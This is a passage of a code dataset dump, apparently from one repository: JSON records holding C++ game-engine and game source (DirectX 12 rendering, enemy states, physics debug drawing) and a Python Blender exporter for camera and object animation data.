textureAdressModeU,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE textureAdressModeV,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE textureAdressModeW,\n\t\t\tUINT maxCbvDescriptor = 8,\n\t\t\tUINT maxSrvDescriptor = 32,\n\t\t\tUINT maxUavDescritor = 8\n\t\t);\n\t\tbool Init(Shader& shader);\n\t\tID3D12RootSignature* Get()\n\t\t{\n\t\t\treturn m_rootSignature;\n\t\t}\n\n\t\tstruct TableInitData\n\t\t{\n\t\t\tUINT8 maxCBV = 8;\n\t\t\tUINT8 maxSRV = 32;\n\t\t\tUINT8 maxUAV = 8;\n\t\t\tUINT8 baseRegisterCBV = 0;\n\t\t\tUINT8 baseRegisterSRV = 0;\n\t\t\tUINT8 baseRegisterUAV = 0;\n\t\t};\n\t\tbool Init(\n\t\t\tD3D12_FILTER samplerFilter,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE textureAdressModeU,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE textureAdressModeV,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE textureAdressModeW, \n\t\t\tint numTables, TableInitData* table\n\t\t);\n\tprivate:\n\t\tID3D12RootSignature* m_rootSignature = nullptr;\t//ルートシグネチャ。\n\t};\n\n}\n"
},
{
"alpha_fraction": 0.7067137956619263,
"alphanum_fraction": 0.7078916430473328,
"avg_line_length": 20.794872283935547,
"blob_id": "72304c0f6f095252abc967ca1806e76d0232fc04",
"content_id": "46dd60ff8c48a3a8d61d59b6f867e9f70bdeeebb",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 849,
"license_type": "no_license",
"max_line_length": 61,
"num_lines": 39,
"path": "/Game/Enemy/State/EnemySlashState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"EnemySlashState.h\"\n#include \"../IEnemy.h\"\n#include \"../EnemyManager.h\"\n#include \"../../Player/Player.h\"\n\nEnemySlashState::EnemySlashState() {\n}\n\nEnemySlashState::~EnemySlashState() {\n}\n\nvoid EnemySlashState::Enter(IEnemy* e) {\n\n\te->PlayAnimation(IEnemy::EnAnimation::enAttackA);\n\n#ifdef _PRINT_ENEMY_STATE\n\tDebugPrint_WATA(\"Enemy - Enter slash\\n\");\n#endif\n\tm_timer = 0.f;\n\t//e->playAttackAnimation();\n\tauto player = GameManager::GetInstance().GetPlayer();\n\n\tplayer->ApplyDamage(m_damageAmount);\n}\n\nIEnemyState* EnemySlashState::Update(IEnemy* e) {\n\tm_timer += gameTime()->GetDeltaTime();\n\tif (m_timer >= m_intervalSec) {\n\t\treturn e->GetState(TO_INT(IEnemy::EnState::enBattleState));\n\t}\n\treturn this;\n}\n\nvoid EnemySlashState::Exit(IEnemy* e) {\n#ifdef _PRINT_ENEMY_STATE\n\tDebugPrint_WATA(\"Enemy - Exit slash\\n\");\n#endif\n}"
},
{
"alpha_fraction": 0.6928460597991943,
"alphanum_fraction": 0.70606529712677,
"avg_line_length": 18.799999237060547,
"blob_id": "7baec2ad5a70aeecc12d0f477e3d63c6d1a76c35",
"content_id": "bcd66bee4f9358680558aeab37ca25d381a131ae",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1286,
"license_type": "no_license",
"max_line_length": 101,
"num_lines": 65,
"path": "/UsualEngineR/Physics/PhysicsDebugDraw.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n#include \"Shader.h\"\n#include \"Primitive.h\"\n#include \"ConstantBuffer.h\"\n\nnamespace UER\n{\n\tclass PhysicsDebugDraw:public btIDebugDraw\n\t{\n\tprivate:\n\t\tstruct SConstantBuffer\n\t\t{\n\t\t\tMatrix mView;\n\t\t\tMatrix mProj;\n\t\t};\n\n\t\tstruct SVertexData\n\t\t{\n\t\t\tVector3 pos;\n\t\t\tVector3 color;\n\t\t};\n\tpublic:\n\t\tPhysicsDebugDraw() {}\n\t\t~PhysicsDebugDraw(){}\n\n\t\tvoid Init();\n\t\tvoid BeginRender();\n\t\tvoid EndRender();\n\n\t\tvoid drawLine(const btVector3& from, const btVector3& to, const btVector3& color) override;\n\t\tvoid drawContactPoint(const btVector3&, const btVector3&, btScalar, int, const btVector3&) override\n\t\t{\n\t\t}\n\t\tvoid reportErrorWarning(const char*) override\n\t\t{\n\t\t}\n\t\tvoid draw3dText(const btVector3&, const char*) override\n\t\t{\n\t\t}\n\t\tvoid setDebugMode(int debugMode) override\n\t\t{\n\t\t\tm_debugMode = debugMode;\n\t\t}\n\t\tint\tgetDebugMode() const override\n\t\t{\n\t\t\treturn m_debugMode;\n\t\t}\n\n\tprivate:\n\t\tConstantBuffer m_constbuff;\n\t\tDescriptorHeap m_decsHeap;\n\t\tPipelineState m_pipState;\n\t\tRootSignature m_rootSign;\n\t\tPrimitive m_primi;\n\t\tShader m_vs;\n\t\tShader m_ps;\n\t\tstatic const unsigned int MAX_VERTEX = 500000;\n\t\tstd::array<SVertexData, MAX_VERTEX> m_vertexBuffer;\n\t\tstd::array<int, MAX_VERTEX> m_indexBuffer;\n\t\tint m_numLine = 0;\n\n\t\tint m_debugMode = btIDebugDraw::DBG_DrawWireframe;\n\t};\n}"
},
{
"alpha_fraction": 0.4089404046535492,
"alphanum_fraction": 0.43226972222328186,
"avg_line_length": 32.39196014404297,
"blob_id": "bf43eb3695281044d0a5e25f25d62e3887d86e6a",
"content_id": "01e89a1ecf8810350114bcaa0b297c9184dc94fc",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 6802,
"license_type": "no_license",
"max_line_length": 80,
"num_lines": 199,
"path": "/BlenderPlugin/eventMovieExp.py",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#coding:utf-8\n\nimport bpy\nfrom bpy.props import StringProperty\nfrom bpy.props import BoolProperty\nfrom bpy.props import IntProperty\nfrom bpy.props import CollectionProperty\nfrom bpy.types import PropertyGroup\nfrom bpy.props import PointerProperty\n\nimport mathutils as math\nimport copy\nimport struct\nimport os\n\n#アドオンの詳細\nbl_info = {\n \"name\": \"eventMovieExp\",\n \"description\": \"\",\n \"author\": \"kokoasann\",\n \"version\": (1, 0, 0, 0),\n \"blender\": (2, 80, 2),\n \"category\": \"Properties\",\n \"location\": \"Window\",\n \"warning\": \"\",\n \"wiki_url\": \"\",\n \"tracker_url\": \"\"\n}\n\ndef transToYUp(matrix):\n #ZUpをYUpに変えるための回転行列\n rotMat = math.Matrix([ [1, 0,0,0],\\\n [0, 0,1,0],\\\n [0,-1,0,0],\\\n [0, 0,0,1]])\n# print(rotMat.to_quaternion())\n matrix = rotMat @ matrix\n return matrix\n\ndef transToYUpVec(vec):\n rotMat = math.Matrix([ [1, 0,0,0],\\\n [0, 0,1,0],\\\n [0,-1,0,0],\\\n [0, 0,0,1]])\n vec = rotMat.to_quaternion() @ vec\n return vec\n\ndef rotX180(matrix):\n #ZUpをYUpに変えるための回転行列\n rotMat = math.Matrix([ [1, 0,0,0],\\\n [0,-1,0,0],\\\n [0,0,-1,0],\\\n [0,0,0,1]])\n matrix = rotMat @ matrix\n return matrix\n\nclass PT_Panel_EventMovie(bpy.types.Panel):\n bl_label = \"eventMovieExp\"\n bl_space_type = \"PROPERTIES\"\n bl_region_type = \"WINDOW\"\n bl_context = \"object\"\n \n def draw(self, context):\n #print(type(context))\n self.layout.operator(\"event_movie_exp.export_movie\")\n\n\nclass OT_Export_EventMovie(bpy.types.Operator):\n bl_idname = \"event_movie_exp.export_movie\"\n bl_label = \"Export Event Movie\"\n \n filename_ext = \".evm\"\n filepath : StringProperty(\n name=\"EVM_filepath\",\n description = \"export file path\",\n maxlen = 1024,\n subtype = \"FILE_PATH\",\n default=\"untitled.evm\"\n )\n \n def invoke(self,context,event):\n self.filepath = \"untitled\"+self.filename_ext\n context.window_manager.fileselect_add(self)\n return {'RUNNING_MODAL'}\n\n def execute(self,context):\n with open(self.filepath,\"wb\") as f:\n time = 0.#経過時間を入れとく変数\n spf = 1. / bpy.context.scene.render.fps#フレームあたりの秒数\n \n f.write( struct.pack(\"<i\", len(bpy.context.scene.timeline_markers)))\n for mark in bpy.context.scene.timeline_markers:\n fr = spf * mark.frame\n #イヴェントノオコルジカン(ビョウ)\n f.write( struct.pack(\"<f\", fr) )\n #イヴェント名の出力\n f.write( struct.pack(\"<i\", len(mark.name)) )\n f.write(mark.name.encode()+b\"\\0\")\n \n \n f.write(struct.pack(\"<i\", len(bpy.context.selected_objects)))\n id = 0\n for obj in bpy.context.selected_objects:\n f.write(struct.pack(\"<i\", id))\n f.write(struct.pack(\"<i\", len(obj.name)))\n f.write(obj.name.encode()+b\"\\0\")\n id+=1\n \n frame_end = bpy.context.scene.frame_end\n frame_start = bpy.context.scene.frame_start\n f.write(struct.pack(\"<i\", frame_end+1 - frame_start))\n for frame in range(frame_start, frame_end+1):\n bpy.context.scene.frame_set(frame)\n f.write(struct.pack(\"<f\", time))\n \n cam = bpy.context.scene.objects[\"Camera\"]\n cammat = cam.matrix_world.copy()\n \n tra = transToYUpVec(cammat.to_translation())\n tra = math.Matrix.Translation(tra).to_4x4()\n rot = cammat.to_quaternion().to_matrix().to_4x4()\n \n rotMat = math.Matrix([ [1, 0,0,0],\\\n [0, 0,-1,0],\\\n [0,1,0,0],\\\n [0, 0,0,1]])\n \n #rot = rot @ rotMat\n rot = transToYUp(rot)\n cammat = tra @ rot\n \n #cammat = transToYUp(cammat)\n cammat.transpose()\n for vec3 in cammat:\n for i , m in enumerate(vec3):\n #if i != 3:\n f.write(struct.pack(\"<f\", m))\n \n for obj in bpy.context.selected_objects:\n mat = obj.matrix_world.copy()\n sca = mat.to_scale()\n sca = math.Matrix.Diagonal(sca).to_4x4()\n tra = transToYUpVec(mat.to_translation())\n tra = math.Matrix.Translation(tra).to_4x4()\n #tra = transToYUp(tra)\n \n rot = mat.to_quaternion().to_matrix().to_4x4()\n #print(rot)\n #rot = rotX180(rot)\n rot = transToYUp(rot)\n rotMat = math.Matrix([ [1, 0,0,0],\\\n [0, 0,-1,0],\\\n [0,1,0,0],\\\n [0, 0,0,1]])\n rotX = math.Matrix([[1, 0,0,0],\\\n [0,-1,0,0],\\\n [0, 0,-1,0],\\\n [0, 0,0,1]])\n rotY = math.Matrix([[0, 0,1,0],\\\n [0, 1,0,0],\\\n [-1,0,0,0],\\\n [0, 0,0,1]])\n rot = rot @ rotMat\n mat = tra @ rot @ sca\n #print(sca)\n #print(rot)\n #print(tra)\n #print(\"\")\n \n mat.transpose()\n for vec3 in mat:\n for i , m in enumerate(vec3):\n #if i != 3:\n f.write(struct.pack(\"<f\", m))\n \n time += spf\n \n return {\"FINISHED\"}\n \n \nclasss = (\n PT_Panel_EventMovie,\n OT_Export_EventMovie,\n)\n\ndef register():\n for c in classs:\n bpy.utils.register_class(c)\n #bpy.types.Scene.armatures = CollectionProperty(type=ItemSet)\n \n\ndef unregister():\n for c in classs:\n bpy.utils.unregister_class(c)\n #del bpy.types.Scene.armatures\n\n\nif __name__ == \"__main__\":\n register()"
},
{
"alpha_fraction": 0.6922196745872498,
"alphanum_fraction": 0.6967963576316833,
"avg_line_length": 20.850000381469727,
"blob_id": "c30d44b0528b193284636a70e7c6d39f86ebbd74",
"content_id": "bc59e03c2dc498ec3e03f0f0e6ba92ae990231c9",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1002,
"license_type": "no_license",
"max_line_length": 53,
"num_lines": 40,
"path": "/Game/Enemy/State/BossFatmanState/Boss_FatmanMainState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n#include \"Enemy/State/IEnemyState.h\"\n\nclass Boss_FatmanAngryPerform;\n\n\nclass Boss_FatmanMainState final : public IEnemyState\n{\npublic:\n\tBoss_FatmanMainState();\n\t~Boss_FatmanMainState();\n\tvoid Enter(IEnemy* e) override;\n\tIEnemyState* Update(IEnemy* e) override;\n\tvoid Exit(IEnemy* e) override;\nprivate:\n\t/// <summary>\n\t/// 遠距離攻撃のステート遷移。\n\t/// </summary>\n\tIEnemyState* LongRangeAttack(IEnemy* e);\n\t/// <summary>\n\t/// バトルフェーズの遷移。\n\t/// </summary>\n\tvoid ChangeBattleState(IEnemy* e);\nprivate:\n\tfloat\tm_fatTimer = 0.f;\n\tbool\tm_isTakeDistance = false;\n\tbool\tm_isTackle = false;\n\n\t//演出関係。\n\tbool m_isPerformed = false;\n\tbool m_isAngryPerformed = false;\n\tbool m_isBmp = false;\n\tbool m_isAngry = false;\n\tBoss_FatmanAngryPerform* m_bap = nullptr;\n\n\t//IK関係。\n\tconst int IK_NUM = 2;\n\tIK* m_BeamIk[2];\t\t\t\t\t//IK。左右のIKの情報が格納されている。\n\tIK* m_ShootIk[2];\t\t\t\t\t//IK。左右のIKの情報が格納されている。\n};\n"
},
{
"alpha_fraction": 0.690922737121582,
"alphanum_fraction": 0.7006751894950867,
"avg_line_length": 19.828125,
"blob_id": "26a94b6622770c378e07336c1c53058d49a25678",
"content_id": "ca69c54c9d3e14a60adebcca9fcb6dba4065fcd8",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1527,
"license_type": "no_license",
"max_line_length": 87,
"num_lines": 64,
"path": "/Game/Enemy/Zako/Zako_ShortBig.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n\n#include \"Enemy/IEnemy.h\"\n/// <summary>\n/// \n/// </summary>\nclass Zako_ShortBig final :public IEnemy\n{\npublic:\n\tZako_ShortBig();\n\tvirtual ~Zako_ShortBig();\n\n\tvoid Init() override;\n\tvoid InitState() override;\n\tvoid InitIK() override;\n\tvoid Execute() override;\n\tvoid Terminate() override;\n\tPlayer::EnAttackType GetDropID() override\n\t{\n\t\treturn Player::EnAttackType::enNone;\n\t}\n\n\t//デフォルトのアニメーションステート用。\n\tvoid PlayAnimation(const EnAnimation& anim, const float interpolate = 0.2f) override {\n\t\tm_model->Play(static_cast<int>(anim), interpolate);\n\t\t//0.75倍速。デカいのでアニメーションの動きが遅い\n\t\tm_model->SetAnimPlaySpeed(m_animBigPlayState);\n\t}\n\n\t//拡張されたアニメーションステート用。\n\tvoid PlayAnimation(const int animNo, const float interpolate = 0.2f) override {\n\t\tm_model->Play(animNo, interpolate);\n\t}\n\t\n\tenum class EnStateEX :int\n\t{\n\t\tenComing = TO_INT(IEnemy::EnState::enBattleState),\n\t\tenDance = TO_INT(IEnemy::EnState::enNumState),\n\t\t//肥満体モデルらしいのでジャンプアタックは現在ないです。\n\t\tNum,\n\t};\n\n\tenum class EnAnimEX :int\n\t{\n\t\tenDance = TO_INT(IEnemy::EnAnimation::enNumAnim),\n\t\tenDown,\n\t\tNum,\n\t};\n\nprivate:\n\t/// <summary>\n\t/// アニメーションの初期設定\n\t/// </summary>\n\tvoid InitAnimation();\nprivate:\n\t//Model\n\t//ModelRender* m_model = nullptr;\n\tfloat m_scale = 3.f;\n\n\t//Physics\n\tconst float m_radius = 3.f;\n\tconst float m_height = 3.f;\n\tconst float m_animBigPlayState = 0.75f;\n};\n"
},
{
"alpha_fraction": 0.6272138357162476,
"alphanum_fraction": 0.646220326423645,
"avg_line_length": 21.705883026123047,
"blob_id": "69d2cbcfd26b091ee8616a9dc3b9382834861b74",
"content_id": "c11626acc4971c74f8a76ee4b2c479d987bd5fba",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2315,
"license_type": "no_license",
"max_line_length": 96,
"num_lines": 102,
"path": "/UsualEngineR/Graphics/SpriteRender.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"SpriteRender.h\"\n\n\nnamespace UER\n{\n\tvoid SpriteRender::Release()\n\t{\n\t}\n\tvoid SpriteRender::OnDestroy()\n\t{\n\t}\n\tvoid SpriteRender::Init(const SpriteInitData& sid)\n\t{\n\t\tmSprite.Init(sid);\n\t\tm_isInited = true;\n\t}\n\tvoid SpriteRender::Update()\n\t{\n\t\tif (m_isBillBord)\n\t\t{\n\t\t\tauto rot = g_camera3D->GetViewMatrixInv();\n\t\t\trot.SetTranspose({ 0,0,0 });\n\t\t\tQuaternion qrot;\n\t\t\tqrot.SetRotation(rot);\n\t\t\tqrot *= mRotation;\n\t\t\tmSprite.Update(mPosition, qrot, mScale, mPivot);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tmSprite.Update(mPosition, mRotation, mScale, mPivot);\n\t\t}\n\n\t\tm_isUpdated = true;\n\t}\n\tvoid SpriteRender::PostRender()\n\t{\n\t\tif (!(m_isInited && m_isUpdated))\n\t\t\treturn;\n\n\t\tauto& rc = g_graphicsEngine->GetRenderContext();\n\t\tif(!m_isMainCameraView)\n\t\t\tmSprite.Draw(rc,g_camera2D->GetViewMatrix(),g_camera2D->GetProjectionMatrix(),m_mulColor);\n\t\telse\n\t\t\tmSprite.Draw(rc, g_camera3D->GetViewMatrix(), g_camera3D->GetProjectionMatrix(), m_mulColor);\n\n\t\tswitch (m_camMode)\n\t\t{\n\t\tcase ECameraMode::Usual:\n\t\t\tmSprite.Draw(rc, g_camera2D->GetViewMatrix(), g_camera2D->GetProjectionMatrix(), m_mulColor);\n\t\t\tbreak;\n\t\tcase ECameraMode::View:\n\t\t\tmSprite.Draw(rc, g_camera3D->GetViewMatrix(), g_camera3D->GetProjectionMatrix(), m_mulColor);\n\t\t\tbreak;\n#if 0\n\t\tcase ECameraMode::Rotate:\n\t\t{\n\t\t\tauto vmat = g_camera3D->GetViewMatrix();\n\t\t\tauto promat = g_camera3D->GetProjectionMatrix();\n\t\t\t//promat.m[3][3] = 1;\n\t\t\t//promat.m[3][2] = 0;\n\t\t\t//promat.m[2][3] = 0;\n\t\t\t\n\t\t\t{\n\t\t\t\tMatrix v, p;\n\t\t\t\tv.MakeLookAt({ 0,0,0 }, { 0,0,1 }, { 0,1,0 });\n\t\t\t\tp.MakeProjectionMatrix(Math::DegToRad(60), FRAME_BUFFER_W / FRAME_BUFFER_H, 5, 50);\n\t\t\t\tMatrix world;\n\t\t\t\tMatrix mTrans, mRot, mSca;\n\t\t\t\tMatrix mvp, mwv, mwvp;\n\t\t\t\tmvp = v * p;\n\n\t\t\t\tmTrans.MakeTranslation({0,50,50});\n\t\t\t\tmRot.MakeRotationFromQuaternion(mRotation);\n\t\t\t\tmSca.MakeScaling(mScale);\n\t\t\t\tworld = mSca;\n\t\t\t\tworld = world * mRot;\n\t\t\t\tworld = world * mTrans;\n\n\t\t\t\tmwv = world * v;\n\t\t\t\tmwvp = mwv * p;\n\n\t\t\t\tprintf(\"\");\n\t\t\t}\n\n\n\t\t\tauto pos = vmat.GetTransrate();\n\t\t\tauto rot = vmat.GetRotate();\n\t\t\tauto sca = vmat.GetScale();\n\t\t\tMatrix smat,pmat,rmat;\n\t\t\tpmat.MakeTranslation(pos);\n\t\t\tsmat.MakeScaling(sca);\n\t\t\trmat.MakeRotationFromQuaternion(rot);\n\t\t\t//smat.Inverse();\n\t\t\tmSprite.Draw(rc, g_camera3D->GetViewMatrix(), promat,m_mulColor);\n\t\t}\n\t\t\tbreak;\n#endif\n\t\t}\n\t}\n\t\n}"
},
{
"alpha_fraction": 0.6971374154090881,
"alphanum_fraction": 0.7019084095954895,
"avg_line_length": 28.688385009765625,
"blob_id": "83a63a3601a04c9ca69409707d34e7b0abc645d9",
"content_id": "9f85d7ccc75d2004491e167e8068c3a2415da081",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 12010,
"license_type": "no_license",
"max_line_length": 154,
"num_lines": 353,
"path": "/UsualEngineR/Graphics/MeshParts.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"MeshParts.h\"\n#include \"Skeleton.h\"\n#include \"Material.h\"\n\n#include \"BufferEnum.h\"\n#include \"CommonConstantBufferStruct.h\"\n\nnamespace UER\n{\n\t\n\tMeshParts::~MeshParts()\n\t{\n\t\tfor (auto& mesh : m_meshs) {\n\t\t\t//インデックスバッファを削除。\n\t\t\tfor (auto& ib : mesh->m_indexBufferArray) {\n\t\t\t\tdelete ib;\n\t\t\t}\n\t\t\t//マテリアルを削除。\n\t\t\tfor (auto& mat : mesh->m_materials) {\n\t\t\t\tdelete mat;\n\t\t\t}\n\t\t\t//メッシュを削除。\n\t\t\tdelete mesh;\n\t\t}\n\t}\n\tvoid MeshParts::InitFromTkmFile(\n\t\tconst TkmFile& tkmFile, \n\t\tconst wchar_t* vsfxFilePath,\n\t\tconst wchar_t* psfxFilePath,\n\t\tconst char* vsEntryPointFunc,\n\t\tconst char* psEntryPointFunc,\n\t\tvoid* expandData,\n\t\tint expandDataSize,\n\t\tIShaderResource* expandShaderResourceView,\n\t\tconst wchar_t* emmissionMap\n\t)\n\t{\n\t\tm_meshs.resize(tkmFile.GetNumMesh());\n\t\tint meshNo = 0;\n\t\ttkmFile.QueryMeshParts([&](const TkmFile::SMesh& mesh) {\n\t\t\t//tkmファイルのメッシュ情報からメッシュを作成する。\n\t\t\tCreateMeshFromTkmMesh(mesh, meshNo, vsfxFilePath,psfxFilePath, vsEntryPointFunc, psEntryPointFunc, emmissionMap);\n\t\n\t\t\tmeshNo++;\n\t\t});\n\t\t//共通定数バッファの作成。\n\t\tm_commonConstantBuffer.Init(sizeof(SConstantBuffer), nullptr);\n\t\t//m_cameraConstantBuffer.Init(sizeof(SCameraCB));\n\t\t//m_lightConstantBuffer.Init(sizeof(SLightCB));\n\n\t\t//ユーザー拡張用の定数バッファを作成。\n\t\tif (expandData) {\n\t\t\tm_expandConstantBuffer.Init(expandDataSize, nullptr);\n\t\t\tm_expandData = expandData;\n\t\t}\n\t\tm_expandShaderResourceView = expandShaderResourceView;\n\t\t//ディスクリプタヒープを作成。\n\t\tCreateDescriptorHeaps();\n\t}\n\t\n\tvoid MeshParts::CreateDescriptorHeaps()\n\t{\n\t\t//ディスクリプタヒープはマテリアルの数分だけ作成される。\n\t\tint numDescriptorHeap = 0;\n\t\tfor (auto& mesh : m_meshs) {\n\t\t\tfor (int matNo = 0; matNo < mesh->m_materials.size(); matNo++) {\n\t\t\t\tnumDescriptorHeap++;\n\t\t\t}\n\t\t}\n\t\tauto& ligMana = g_graphicsEngine->GetLightManager();\n\t\t//ディスクリプタヒープをドカッと確保。\n\t\tm_descriptorHeap.resize(numDescriptorHeap);\n\t\t//ディスクリプタヒープを構築していく。\n\t\tint descriptorHeapNo = 0;\n\t\tfor (auto& mesh : m_meshs) {\n\t\t\tfor (int matNo = 0; matNo < mesh->m_materials.size(); matNo++) {\n\t\t\t\tauto& descriptorHeap = m_descriptorHeap[descriptorHeapNo];\n\t\t\t\t//ディスクリプタヒープにディスクリプタを登録していく。\n\t\t\t\tdescriptorHeap.RegistShaderResource(TO_INT(ETextureBuffer::tb_albedo), mesh->m_materials[matNo]->GetAlbedoMap());\t\t//アルベドマップ。\n\t\t\t\tdescriptorHeap.RegistShaderResource(TO_INT(ETextureBuffer::tb_normal), mesh->m_materials[matNo]->GetNormalMap());\t\t//法線マップ。\n\t\t\t\tdescriptorHeap.RegistShaderResource(TO_INT(ETextureBuffer::tb_specular), mesh->m_materials[matNo]->GetSpecularMap());\t//スペキュラマップ。\n\t\t\t\tif (mesh->m_materials[matNo]->IsLoadEmmission())\n\t\t\t\t{\n\t\t\t\t\tdescriptorHeap.RegistShaderResource(TO_INT(ETextureBuffer::tb_emmission), mesh->m_materials[matNo]->GetEmmissionMap());\t//エミッションマップ。\n\t\t\t\t}\n\t\t\t\tif (mesh->skinFlags[matNo])\n\t\t\t\t{\t\n\t\t\t\t\tdescriptorHeap.RegistShaderResource(TO_INT(ETextureBuffer::tb_bone), m_boneMatricesStructureBuffer);\n\t\t\t\t}\n\t\t\t\tdescriptorHeap.RegistShaderResource(TO_INT(ETextureBuffer::tb_dirLight), ligMana.GetDirLightStructuredBuffer());\n\t\t\t\tdescriptorHeap.RegistShaderResource(TO_INT(ETextureBuffer::tb_pointLight), ligMana.GetPointLightStructuredBuffer());\n\n\t\t\t\tif (m_expandShaderResourceView){\n\t\t\t\t\tdescriptorHeap.RegistShaderResource(EXPAND_SRV_REG__START_NO, *m_expandShaderResourceView);\n\t\t\t\t}\n\n\t\t\t\tdescriptorHeap.RegistConstantBuffer(TO_INT(EConstantBuffer::cb_modelData), m_commonConstantBuffer);\n\t\t\t\tdescriptorHeap.RegistConstantBuffer(TO_INT(EConstantBuffer::cb_cameraData), g_lockCamera3D.Get()->GetConstBuffer());\n\t\t\t\tdescriptorHeap.RegistConstantBuffer(TO_INT(EConstantBuffer::cb_lightData), ligMana.GetLightConstBuffer());\n\n\t\t\t\tif (m_expandConstantBuffer.IsValid()) {\n\t\t\t\t\t//descriptorHeap.RegistConstantBuffer(1, m_expandConstantBuffer);\n\t\t\t\t}\n\t\t\t\t//ディスクリプタヒープへの登録を確定させる。\n\t\t\t\tdescriptorHeap.Commit();\n\t\t\t\tdescriptorHeapNo++;\n\t\t\t}\n\t\t}\n\t\tint shadowMapNum = 0;\n\t\tauto shadowCB = g_graphicsEngine->GetShadowMap().GetConstBufferLight(shadowMapNum);\n\t\tfor (int i = 0; i < shadowMapNum; i++)\n\t\t{\n\t\t\tif (m_meshs[0]->skinFlags[0])\n\t\t\t{\n\t\t\t\tm_shadowDescHeap[i].RegistShaderResource(TO_INT(ETextureBuffer::tb_bone), m_boneMatricesStructureBuffer);\n\t\t\t}\n\t\t\tm_shadowDescHeap[i].RegistConstantBuffer(TO_INT(EConstantBuffer::cb_modelData), m_commonConstantBuffer);\n\t\t\tm_shadowDescHeap[i].RegistConstantBuffer(TO_INT(EConstantBuffer::cb_cameraData), shadowCB[i]);\n\t\t\tm_shadowDescHeap[i].Commit();\n\t\t}\n\t}\n\tvoid MeshParts::CreateMeshFromTkmMesh(\n\t\tconst TkmFile::SMesh& tkmMesh, \n\t\tint meshNo,\n\t\tconst wchar_t* vsfxFilePath,\n\t\tconst wchar_t* psfxFilePath,\n\t\tconst char* vsEntryPointFunc,\n\t\tconst char* psEntryPointFunc,\n\t\tconst wchar_t* emmissionMap)\n\t{\n\t\t//頂点バッファを作成。\n\t\tint numVertex = (int)tkmMesh.vertexBuffer.size();\n\t\tint vertexStride = sizeof(TkmFile::SVertex);\n\t\tauto mesh = new SMesh;\n\t\tmesh->skinFlags.reserve(tkmMesh.materials.size());\n\t\tmesh->m_vertexBuffer.Init(vertexStride * numVertex, vertexStride);\n\t\tmesh->m_vertexBuffer.Copy((void*)&tkmMesh.vertexBuffer[0]);\n\t\n\t\tauto SetSkinFlag = [&](int index) {\n\t\t\tif (tkmMesh.vertexBuffer[index].skinWeights.x > 0.0f) {\n\t\t\t\t//スキンがある。\n\t\t\t\tmesh->skinFlags.push_back(1);\n\t\t\t}\n\t\t\telse {\n\t\t\t\t//スキンなし。\n\t\t\t\tmesh->skinFlags.push_back(0);\n\t\t\t}\n\t\t};\n\t\t//インデックスバッファを作成。\n\t\tif (!tkmMesh.indexBuffer16Array.empty()) {\n\t\t\t//インデックスのサイズが2byte\n\t\t\tmesh->m_indexBufferArray.reserve(tkmMesh.indexBuffer16Array.size());\n\t\t\tfor (auto& tkIb : tkmMesh.indexBuffer16Array) {\n\t\t\t\tauto ib = new IndexBuffer;\n\t\t\t\tib->Init(static_cast<int>(tkIb.indices.size()) * 2, 2);\n\t\t\t\tib->Copy((void*)&tkIb.indices.at(0));\n\t\n\t\t\t\t//スキンがあるかどうかを設定する。\n\t\t\t\tSetSkinFlag(tkIb.indices[0]);\n\t\n\t\t\t\tmesh->m_indexBufferArray.push_back(ib);\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\t//インデックスのサイズが4byte\n\t\t\tmesh->m_indexBufferArray.reserve(tkmMesh.indexBuffer32Array.size());\n\t\t\tfor (auto& tkIb : tkmMesh.indexBuffer32Array) {\n\t\t\t\tauto ib = new IndexBuffer;\n\t\t\t\tib->Init(static_cast<int>(tkIb.indices.size()) * 4, 4);\n\t\t\t\tib->Copy((void*)&tkIb.indices.at(0));\n\t\n\t\t\t\t//スキンがあるかどうかを設定する。\n\t\t\t\tSetSkinFlag(tkIb.indices[0]);\n\t\n\t\t\t\tmesh->m_indexBufferArray.push_back(ib);\n\t\t\t}\n\t\t}\n\t\t//マテリアルを作成。\n\t\tmesh->m_materials.reserve(tkmMesh.materials.size());\n\t\tfor (auto& tkmMat : tkmMesh.materials) {\n\t\t\tauto mat = new Material;\n\t\t\tmat->InitFromTkmMaterila(tkmMat, vsfxFilePath, psfxFilePath, vsEntryPointFunc, psEntryPointFunc);\n\t\t\tif (emmissionMap != nullptr)\n\t\t\t{\n\t\t\t\tmat->InitEmmission(emmissionMap);\n\t\t\t}\n\t\t\tmesh->m_materials.push_back(mat);\n\t\t}\n\t\n\t\tm_meshs[meshNo] = mesh;\n\t\t\n\t}\n\t\n\tvoid MeshParts::BindSkeleton(Skeleton& skeleton)\n\t{\n\t\tm_skeleton = &skeleton;\n\t\t//構造化バッファを作成する。\n\t\tm_boneMatricesStructureBuffer.Init(\n\t\t\tsizeof(Matrix),\n\t\t\tm_skeleton->GetNumBones(),\n\t\t\tm_skeleton->GetBoneMatricesTopAddress()\n\t\t);\n\t}\n\tvoid MeshParts::Draw(\n\t\tRenderContext& rc,\n\t\tconst Matrix& mWorld,\n\t\tconst Matrix& mView,\n\t\tconst Matrix& mProj,\n\t\tconst Vector4& 